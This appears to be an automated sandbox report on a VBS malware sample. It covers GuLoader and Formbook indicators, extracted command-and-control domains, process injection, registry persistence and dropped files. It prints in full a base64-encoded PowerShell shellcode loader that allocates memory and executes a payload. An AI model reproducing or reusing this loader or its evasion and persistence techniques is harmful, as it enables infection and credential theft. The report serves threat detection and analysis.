Analysis
-
max time kernel
154s -
max time network
165s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
09-02-2022 14:59
Static task
static1
Behavioral task
behavioral1
Sample
file673736 241-22 01.02.22.vbs
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
file673736 241-22 01.02.22.vbs
Resource
win10v2004-en-20220113
General
-
Target
file673736 241-22 01.02.22.vbs
-
Size
165KB
-
MD5
7faf86b2e1bb45a26367227c777dc668
-
SHA1
74e41c42eb5b04c532567d9244c969f4895ee3ca
-
SHA256
e76b1a4f9aa3787900758ce81367f40587ca3d6a3a7ab6d1d02537e12cb10c37
-
SHA512
c9427897cb391da11ee8325cd0ffd8efc7b94b2c46503a1cc4a71bd8497fcdfa42efccba7613b1119329d26b510486fe1c05290726ce06c53b60b1c76ded6427
Malware Config
Extracted
formbook
4.1
k6sm
mingshengjewelry.com
ontimecleaningenterprise.com
alyssa0.xyz
ptecex.xyz
dukfot.online
pvcpc.com
iowalawtechnology.com
nestletranspotation.com
mysithomes.com
greenlakespaseattle.com
evofishingsystems.com
unilytcs.com
ordemt.com
dentalbatonrouge.com
pictureme360.net
chalinaslacatalana.com
newmirrorimage.xyz
pinklaceandlemonade.com
rapinantes.com
yzicpa.com
josephosman.com
robsarra.com
shumgroup.net
flooringnewhampshire.com
onceadayman.com
audiomacklaunch.xyz
hurryburry.com
golfvid.info
tutortenbobemail.com
tatlitelasorganizasyon.com
tqgtdd.space
classicalruns.com
xx3tgnf.xyz
galwayartanddesign.com
qidu.press
crypto-obmennik.com
dn360rn001.com
tridim.tech
phamhome.com
mediadollskill.com
loveatmetaverse.com
electric4x4parts.com
azulymargarita.com
isadoramel.com
rubyclean.com
officiallydanellewright.com
wu8d349s67op.xyz
detetivepyther.com
wondubniumgy463.xyz
registry-finance3.com
ultracoding.com
open-4business.com
supremelt.online
pangfeng.xyz
morneview.com
northfloridapsychic.com
kg4bppuh.xyz
friv.asia
epsilonhomecare.com
hbina.com
beachhutprinting.com
sophoscloudoptix.net
managemarksol.site
palestyna24.info
usyeslogistics.com
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
Formbook Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1932-78-0x0000000000400000-0x000000000069B000-memory.dmp formbook behavioral1/memory/1932-79-0x0000000000400000-0x000000000042F000-memory.dmp formbook behavioral1/memory/1680-85-0x0000000000080000-0x00000000000AF000-memory.dmp formbook -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
wininit.exedescription ioc process Key created \Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run wininit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\DTXDDXWH5T0 = "C:\\Program Files (x86)\\internet explorer\\ieinstal.exe" wininit.exe -
Checks QEMU agent file 2 TTPs 2 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
Processes:
powershell.exeieinstal.exedescription ioc process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe ieinstal.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
wininit.exedescription ioc process Key created \Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run wininit.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
ieinstal.exepid process 1932 ieinstal.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exeieinstal.exepid process 1308 powershell.exe 1932 ieinstal.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.exeieinstal.exewininit.exedescription pid process target process PID 1308 set thread context of 1932 1308 powershell.exe ieinstal.exe PID 1932 set thread context of 1220 1932 ieinstal.exe Explorer.EXE PID 1680 set thread context of 1220 1680 wininit.exe Explorer.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
wininit.exedescription ioc process Key created \Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 wininit.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
Processes:
powershell.exeieinstal.exewininit.exepid process 1308 powershell.exe 1932 ieinstal.exe 1932 ieinstal.exe 1680 wininit.exe 1680 wininit.exe 1680 wininit.exe 1680 wininit.exe 1680 wininit.exe 1680 wininit.exe 1680 wininit.exe 1680 wininit.exe 1680 wininit.exe 1680 wininit.exe 1680 wininit.exe 1680 wininit.exe -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exeieinstal.exewininit.exepid process 1308 powershell.exe 1932 ieinstal.exe 1932 ieinstal.exe 1932 ieinstal.exe 1680 wininit.exe 1680 wininit.exe 1680 wininit.exe 1680 wininit.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exeieinstal.exewininit.exedescription pid process Token: SeDebugPrivilege 1308 powershell.exe Token: SeDebugPrivilege 1932 ieinstal.exe Token: SeDebugPrivilege 1680 wininit.exe -
Suspicious use of WriteProcessMemory 29 IoCs
Processes:
WScript.exepowershell.execsc.exeExplorer.EXEwininit.exedescription pid process target process PID 1692 wrote to memory of 1308 1692 WScript.exe powershell.exe PID 1692 wrote to memory of 1308 1692 WScript.exe powershell.exe PID 1692 wrote to memory of 1308 1692 WScript.exe powershell.exe PID 1692 wrote to memory of 1308 1692 WScript.exe powershell.exe PID 1308 wrote to memory of 740 1308 powershell.exe csc.exe PID 1308 wrote to memory of 740 1308 powershell.exe csc.exe PID 1308 wrote to memory of 740 1308 powershell.exe csc.exe PID 1308 wrote to memory of 740 1308 powershell.exe csc.exe PID 740 wrote to memory of 1536 740 csc.exe cvtres.exe PID 740 wrote to memory of 1536 740 csc.exe cvtres.exe PID 740 wrote to memory of 1536 740 csc.exe cvtres.exe PID 740 wrote to memory of 1536 740 csc.exe cvtres.exe PID 1308 wrote to memory of 1932 1308 powershell.exe ieinstal.exe PID 1308 wrote to memory of 1932 1308 powershell.exe ieinstal.exe PID 1308 wrote to memory of 1932 1308 powershell.exe ieinstal.exe PID 1308 wrote to memory of 1932 1308 powershell.exe ieinstal.exe PID 1308 wrote to memory of 1932 1308 powershell.exe ieinstal.exe PID 1308 wrote to memory of 1932 1308 powershell.exe ieinstal.exe PID 1308 wrote to memory of 1932 1308 powershell.exe ieinstal.exe PID 1308 wrote to memory of 1932 1308 powershell.exe ieinstal.exe PID 1220 wrote to memory of 1680 1220 Explorer.EXE wininit.exe PID 1220 wrote to memory of 1680 1220 Explorer.EXE wininit.exe PID 1220 wrote to memory of 1680 1220 Explorer.EXE wininit.exe PID 1220 wrote to memory of 1680 1220 Explorer.EXE wininit.exe PID 1680 wrote to memory of 1672 1680 wininit.exe Firefox.exe PID 1680 wrote to memory of 1672 1680 wininit.exe Firefox.exe PID 1680 wrote to memory of 1672 1680 wininit.exe Firefox.exe PID 1680 wrote to memory of 1672 1680 wininit.exe Firefox.exe PID 1680 wrote to memory of 1672 1680 wininit.exe Firefox.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file673736 241-22 01.02.22.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBIAGoAbABwADIAIABvAHIAZABpAG4AcgBzAGsAbgAgAEsATwBOAFYAIABEAEkAUwBDAEkAIABwAHIAZQBkAGUAdABlAHMAIABUAGUAZwBuAG0AcwAgAGQAZQBpAG4AYwByACAAQgBSAE8AQQBEAEUATgBJAE4ARwAgAEMAQQBQAEUAUgBOAE8AIABGAHIAYQBnAG0AZQA3ACAAUwBrAG0AbQAgAEYAbwByAGIAZQBoAG8AIABIAEEATABTAEgAVgAgAEoAaQBiAGUAZABzAHcAIABiAGUAZgBhAG0AbABpACAAVQBOAEMASABSAEkAUwAgAFIAbwBzAGsAaQBsAGQAZQBuAHMAOQAgAGEAdgBsAHMAIAB1AGQAcgBlAGQAIABSAEUAUABSAEUASABFACAAWQBtAHAAbgBpAG4AIABkAHUAcwB0AHMAaABlAGUAIABQAGEAcgBvACAARQBsAGUAYQAgAFUAbgBkAGUAcgA5ACAATQBvAHQAaQB2AGUAdAAzACAAdABhAGsAdABlAHIAaQBuACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAFUAUABFAFIAUABSAEUARABJADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABTAFUAUABFAFIAUABSAEUARABJADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAGQAaQBzAGIAcgBhACwAaQBuAHQAIABPAGwAZAB0AGkALAByAGUAZgAgAEkAbgB0ADMAMgAgAFMAVQBQAEUAUgBQAFIARQBEAEkALABpAG4AdAAgAFAAcgBlAGMAdQByAHIAaQBjAHUALABpAG4AdAAgAFMAVQBQAEUAUgBQAFIARQBEAEkANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABWAGkAbABkAGgAZQBkAG8AbgB5ACwAdQBpAG4AdAAgAFMAUABFAFIATQBJAEUAVABGAEUALABpAG4AdAAgAFAAQQBSAEEAVAAsAGkAbgB0ACAAUwBVAFAARQBSAFAAUgBFAEQASQAwACwAaQBuAHQAIABFAHYAbwBrAGUAcgBzAGsALABpAG4AdAAgAEEARQBDAEkATwAsAGkAbgB0ACAAUwBzAHQAdABlAG4AZAAzACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAE8AbABkAHQAaQAwACwAdQBpAG4AdAAgAE8AbABkAHQAaQAxACwASQBuAHQAUAB0AHIAIABPAGwAZAB0AGkAMgAsAHIAZQBmACAASQBuAHQAMwAyACAATwBsAGQAdABpADMALABpAG4AdAAgAE8AbABkAHQAaQA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBBACgASQBuAHQAUAB0AHIAIABPAGwAZAB0AGkANQAsAGkAbgB0ACAATwBsAGQAdABpADYALABpAG4AdAAgAE8AbABkAHQAaQA3ACwAaQBuAHQAIABPAGwAZAB0AGkAOAAsAGkAbgB0ACAATwBsAGQAdABpADkAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMAbwBsAGkAdgBhAGMAZQAgAFMAawBvAHIAcABlAHMAIABEAHcAYQByAGYAIABGAGwAeQB2ADYAIABQAGwAZQB0AGYAcgBpAGUAMwAgAGEAawB2AGEAdABpAG4AIABiAG8AYQByACAAQgBvAG0AYgBlAHIAZQAgAEEAYgB1AG0AYgAyACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBtAGQAaQBnAG8AbwBnAGUAbgB5ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFIAZQBrAHUAcgBzAGkAbwBuAHMAIgAgAA0ACgAkAFMAVQBQAEUAUgBQAFIARQBEAEkAMwA9ADAAOwANAAoAJABTAFUAUABFAFIAUABSAEUARABJADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUwBVAFAARQBSAFAAUgBFAEQASQA4AD0AWwBTAFUAUABFAFIAUABSAEUARABJADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQAUwBVAFAARQBSAFAAUgBFAEQASQAzACwAMAAsAFsAcgBlAGYAXQAkAFMAVQBQAEUAUgBQAFIARQBEAEkAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAEcAdQBtAG0AMwAgAEEAbgB0AGkANgAgAGgAdgBlAHAAcwBlAG4AZQBzAGkAIAByAGUAYwBlAHAAdAAgAFAAcgBvAHQAZQBzAHQAMwAgAGEAcABwAG8AaQBuAHQAcwBsACAARABFAEwAUABMACAASABBAFYAQQBBAEwAUAAgAHIAdQBiAGkAYwAgAHIAaQBuAGcAZQBsACAATwB2AGUAcgBsAG8AZwBpAGMAYQA0ACAAZgBhAHIAbABpACAATgBhAHIAcgBlAHIAaQA3ACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBDAGgAZQB0AGkAdgBlAHUAbgA3ACIAIAANAAoAJABTAFUAUABFAFIAUABSAEUARABJADIAPQAiACQAZQBuAHYAOgB0AGUAbQBwACIAIAArACAAIgBcAEEAawB0AGkAdgBzAGcAZQBtAC4AZABhAHQAIgANAAoAIwBUAGkAcwBzAGUAdAAgAEkAYgBsAGEAbgAgAFMAYQBsAHYAIABFAG4AYwBlACAAUwBwAGUAagBsAGsAYQBiAGkAIABTAGoAdQBzAHMANgAgAE8ATQBTAFQATgBJAE4ARwBTAEEAIABuAG8AbgBhAHMAYwBlAHQAaQBjACAATgBPAE4AUAAgAFMAdABpAG4AMwAgAA0ACgAkAFMAVQBQAEUAUgBQAFIARQBEAEkANAA9AFsAUwBVAFAARQBSAFAAUgBFAEQASQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAE0AaQBzAG0AbwB2ACAARgBvAHIAcwByADUAIABMAGUAZwBpAHQAaQAgAEsAQQBUAEgATABJAE4AUwAgAFAAUgBPAEIATwBTAEMARQBTACAAUAByAG0AaQBlAG8AYgBsAGkAIABoAHIAZQBuAGQAZQBiACAAZgBhAGcAZwByAHUAcABwAGUAIABGAGkAeABpAHQAaABlAG4AZAAgAGEAbAB5AGMAbwAgAE4AbwBuAGQAIABTAGEAZABsAGUAcgBmAGEAdQBuACAAVABhAGsAdAByAGUAZwB1AGwAIABFAEQARwBFAE0AQQBOAEwAIABuAG8AbgBwACAAbQBlAHQAZQBvAHIAbwBsACAAUgBhAGIAYgBpAHQANwAgAFMATwBUAFQASQAgAEEAcgBnAHUAcwBqAGUAdABoADUAIABHAGEAcgBkAGUAcgA3ACAAUABsAGEAYwBpAGQAZwB1ADgAIABDAGgAYQBnAHIAaQBuAG4AZQA1ACAAVQBOAFcATwAgAHIAbgB0AGcAZQBuAGIAbABpAGsAIABmAGwAbwByAGkAcwAgAEIAaQBmAGkAZwA0ACAASABZAEcAUgBPACAATgBvAGcAZwBpAG4AZwBzADMAIABIAEkATABTAEUATgAgAFcAQQBTAEgAVABVACAAUAByAG8AdABvAGMAaQB0AGkAegAgAE8AdgBlAHIAcQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATgBJAFQAUgAiACAADQAKACQAUwBVAFAARQBSAFAAUgBFAEQASQA1AD0AMAA7AA0ACgAjAGQAZQBjAGEAeQBlAGQAIABDAGEAcgB0AG0AYQBuAHUAbgBkADQAIABLAFUAUwBPAE4AIABzAHUAYwBjAGUAcwAgAGYAbwByAHYAYQBuACAAVgBpAHIAdAB1AG8AMgAgAFIAZQBkAGkAZwBlAHIAaQBuAGcAIABEAEUATABJAEsAQQBUAEUAIABVAG4AYwBvAGcAbgBpAHoAYQBuACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAEEAUgBUAE8AVABFAEsAUwAiACAADQAKAFsAUwBVAFAARQBSAFAAUgBFAEQASQAxAF0AOgA6AFIAZQBhAGQARgBpAGwAZQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQA0ACwAJABTAFUAUABFAFIAUABSAEUARABJADMALAA2ADYANQA3ADIALABbAHIAZQBmAF0AJABTAFUAUABFAFIAUABSAEUARABJADUALAAwACkADQAKACMATQBnAGwAZQByADUAIABTAFQASQBMAEEAIABzAGsAbgBkAGkAZwBoACAARgBsAHMAdQBiAGUAcQB1AGEAdAA0ACAAZQBzAHAAcgBlAHMAcwBpAHYAIABQAHIAbwBnAHIAYQBtAG0AZQAgAE4AbwBuAGYAOAAgAFAAUgBJAE4AQwBJAFAAIABCAGUAcgBuAHMAZwAgAGsAcgBhAHMAcwBlAHMAbwBjAGMAIABiAGEAZABnAGUAcgBpACAAUgBlAGoAcwBlAG4AZABlAHkAIAByAGUAcwB0AGEAZwBlAHIAIABzAGEAbQBzAGUAbgBkAGkAbgBnACAAQgByAHUAZwA1ACAAUABhAHAAaQByACAAUwBPAEMASQAgAEEAZABnAGEAbgBnAHMAZgBvAHIAIABLAHIAYQB0AG8AZwBlAG4AaQAxACAAawBpAG4AawAgAEsAVgBJAEsAUwAgAEsAUgBWAEUAUwBLAEUATABUAEkAIABTAGsAcgB2AGUAYgBhAG4AZQByACAARQBuAHQAcgBlAHAAcgAgAFAAbABhAG4AZQB0ADMAIABTAEwAQQBUACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAE8ATgBGAEkAUwBLACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQARABDAEEARABFAE4ATwBDAEEAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBuAHIAZQB0AHQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARQBNAEEATABKAEUAUgBJACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEYAZQB0AGkAcwA1ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEwAdQBkAGUAcgBrAGEAcgBsACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEEAcwBjAGUAbAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAGUAYwBlAHMAcwBpADUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAYgB1AHIAZwBhAG0AbwB0AGEAbQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBnAHIAbwB1AHMAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAGEAdAB1AHIAawByAGEAZgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBDAEEAUgBGAEEAUgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAEkARQBTAEgATwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBSAEEATQBTAEwARwBEAFIAIgAgAA0ACgBbAFMAVQBQAEUAUgBQAFIARQBEAEkAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAQQAoACQAUwBVAFAARQBSAFAAUgBFAEQASQAzACwAIAAwACwAMAAsADAALAAwACkADQAKAA0ACgA="3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nrqoheub.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES391B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC391A.tmp"5⤵
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"4⤵
- Checks QEMU agent file
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\wininit.exe"C:\Windows\SysWOW64\wininit.exe"2⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Aktivsgem.datMD5
b8fb4faef24302dcfac6cc1a885b1ec2
SHA19c14c95107f054c0bfc77243cb99aa57fe3f9bd1
SHA2569ba5694976d1254b451bc1be9495049fba0421e65d1ccf23fb2c39a2d4f531f0
SHA512e0506ecdb5fcfcb32e0f32167c30a7daa03e572eb514db96661709751c161f85f265a6f98ce2c2e03aa2cf1a80dbcba489614e7923aa2f7e7fc629b068ef41d7
-
C:\Users\Admin\AppData\Local\Temp\RES391B.tmpMD5
0db2fd85981c21f8a5a252c98e886484
SHA1ba56b96bf84eb83170e9321e43c1af5e5564ed9e
SHA2565af915e5a39fce3aeefb184ba5bf5b65a8bd38352fcd6194f1090ffa28c4e31a
SHA5125516879dd4aadcd4dc5095739f3b2d5983f2586b127bbfefcddf0a04dcfe03c40b28f7e283f52ffd2c1a37e2552aa283297378f94d85910f16d6e7fda5dde73c
-
C:\Users\Admin\AppData\Local\Temp\nrqoheub.dllMD5
1eeaead8d88d437caa56a88cde0ef9e4
SHA1bfe7936280396e75a1a0496423cb114bd484c102
SHA25657d460250ae685f7a7801b1938f3a0c5ce415ded8d7fec9a710a8b98ed4a1cf7
SHA5128c65245a6a20d286cef947482c1380b69bc3a6a1cc2db398187f11815e072dff28a2a0778848425384ba4bf6aeb968993059796737a2af7351db3b31b37f4657
-
C:\Users\Admin\AppData\Local\Temp\nrqoheub.pdbMD5
82de9d17c745ab7866076552bf0f17a1
SHA1e2d368f5fc8863027dea2bd0983d9797d6eea5e2
SHA25686662d8a8a33ce726dc846b091200c12aa9225eae06d9ba968aebd88c78ae92b
SHA512f2f86822aea3fc3acae07997c2b29c5d09957d90ac6672ef011d1382ec7612525ec3f60dbafe84efc60ebecb6ac3d20630dc4bd93b1347ad70fe5b898531a4ac
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologim.jpegMD5
53b1a05f66d9c65f9a56c6c895848e03
SHA1f6a49d674c7df4492c4cb4976732d7a5595a6c8a
SHA256956543abd5c9814b0bc76b1d885dd2ffed46633cd0b3148e1eb666eb42b8404e
SHA512da48b9135fd9ff559397d139d4aeae3a1c205fd294eb4fbe18abb8dd89356627cc694e10c8b3305d3f10bfbd86ac5f0cc29938caf9ea164d1b71237df6691f48
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrf.iniMD5
2f245469795b865bdd1b956c23d7893d
SHA16ad80b974d3808f5a20ea1e766c7d2f88b9e5895
SHA2561662d01a2d47b875a34fc7a8cd92e78cb2ba7f34023c7fd2639cbb10b8d94361
SHA512909f189846a5d2db208a5eb2e7cb3042c0f164caf437e2b1b6de608c0a70e4f3510b81b85753dbeec1e211e6a83e6ea8c96aff896e9b6e8ed42014473a54dc4f
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologri.iniMD5
d63a82e5d81e02e399090af26db0b9cb
SHA191d0014c8f54743bba141fd60c9d963f869d76c9
SHA256eaece2eba6310253249603033c744dd5914089b0bb26bde6685ec9813611baae
SHA51238afb05016d8f3c69d246321573997aaac8a51c34e61749a02bf5e8b2b56b94d9544d65801511044e1495906a86dc2100f2e20ff4fcbed09e01904cc780fdbad
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrv.iniMD5
ba3b6bc807d4f76794c4b81b09bb9ba5
SHA124cb89501f0212ff3095ecc0aba97dd563718fb1
SHA2566eebf968962745b2e9de2ca969af7c424916d4e3fe3cc0bb9b3d414abfce9507
SHA512ecd07e601fc9e3cfc39addd7bd6f3d7f7ff3253afb40bf536e9eaac5a4c243e5ec40fbfd7b216cb0ea29f2517419601e335e33ba19dea4a46f65e38694d465bf
-
\??\c:\Users\Admin\AppData\Local\Temp\CSC391A.tmpMD5
69976c737789abb597807e9c1ea8bd3a
SHA17a4e8781c43d3c3e431e08c7a4cde27f2a71e364
SHA256d163db4551dea33b32f64829451613602575bd211cf00ed110094a32a889d0d8
SHA512136a4746039ca344094002276c54f6c674c6280d296a638f6756cfd31680f0713c3f255fef8e3ee10e933705f285cf48ff6e47b4d7bae86224bbe99ac186b40e
-
\??\c:\Users\Admin\AppData\Local\Temp\nrqoheub.0.csMD5
697049d413cadd67ef091f8c308f0482
SHA10510cd1e3afcb6f0bd7b8ed42fc69aca5a81f2eb
SHA256461e5bf63d4baf8fde83b3e06708456c781bdae2c8b264f0c5309e719f24d4b2
SHA512d1da3776083b4f116e11a82534bf5e31949b81d3c448d2d188d80fa357c24ca157c92ef1d9a2a714a1c131100b6c85ad3b492c50af696af10e01cc7ee4e41fde
-
\??\c:\Users\Admin\AppData\Local\Temp\nrqoheub.cmdlineMD5
280e01c771c5b185ba0fa24b8e8d71e4
SHA1302727d146194a3fabc20857dec5be77f77a48d6
SHA256f38ecfbe84ff7d89c87839884e5d16372f20a38720dfdf06f9f379a12a1b92a7
SHA512d8ea444c5f7889b8fbecc3eeed4da474c71cac41de337dd42527ed631532da56d8e53380fe3c05fff50100769db93e359a0c4264b2d9a7a631f711aebd519dff
-
memory/740-62-0x00000000020B0000-0x00000000020B1000-memory.dmpFilesize
4KB
-
memory/1220-83-0x0000000004EE0000-0x0000000005065000-memory.dmpFilesize
1.5MB
-
memory/1220-89-0x0000000006CE0000-0x0000000006DC6000-memory.dmpFilesize
920KB
-
memory/1308-72-0x0000000076EE0000-0x0000000076FB6000-memory.dmpFilesize
856KB
-
memory/1308-71-0x0000000076CF1000-0x0000000076DF2000-memory.dmpFilesize
1.0MB
-
memory/1308-57-0x0000000073772000-0x0000000073774000-memory.dmpFilesize
8KB
-
memory/1308-59-0x0000000002662000-0x0000000002664000-memory.dmpFilesize
8KB
-
memory/1308-56-0x0000000002660000-0x0000000002661000-memory.dmpFilesize
4KB
-
memory/1308-55-0x0000000073771000-0x0000000073772000-memory.dmpFilesize
4KB
-
memory/1308-58-0x0000000002661000-0x0000000002662000-memory.dmpFilesize
4KB
-
memory/1308-68-0x0000000005B40000-0x0000000005C40000-memory.dmpFilesize
1024KB
-
memory/1308-54-0x00000000754B1000-0x00000000754B3000-memory.dmpFilesize
8KB
-
memory/1680-86-0x0000000002010000-0x0000000002313000-memory.dmpFilesize
3.0MB
-
memory/1680-88-0x0000000001E80000-0x0000000001F14000-memory.dmpFilesize
592KB
-
memory/1680-84-0x0000000000740000-0x000000000075A000-memory.dmpFilesize
104KB
-
memory/1680-85-0x0000000000080000-0x00000000000AF000-memory.dmpFilesize
188KB
-
memory/1932-74-0x0000000000280000-0x0000000000380000-memory.dmpFilesize
1024KB
-
memory/1932-81-0x000000000041F000-0x0000000000420000-memory.dmpFilesize
4KB
-
memory/1932-82-0x000000001BB50000-0x000000001BB65000-memory.dmpFilesize
84KB
-
memory/1932-80-0x000000001C850000-0x000000001CB53000-memory.dmpFilesize
3.0MB
-
memory/1932-79-0x0000000000400000-0x000000000042F000-memory.dmpFilesize
188KB
-
memory/1932-78-0x0000000000400000-0x000000000069B000-memory.dmpFilesize
2.6MB
-
memory/1932-73-0x0000000000280000-0x0000000000380000-memory.dmpFilesize
1024KB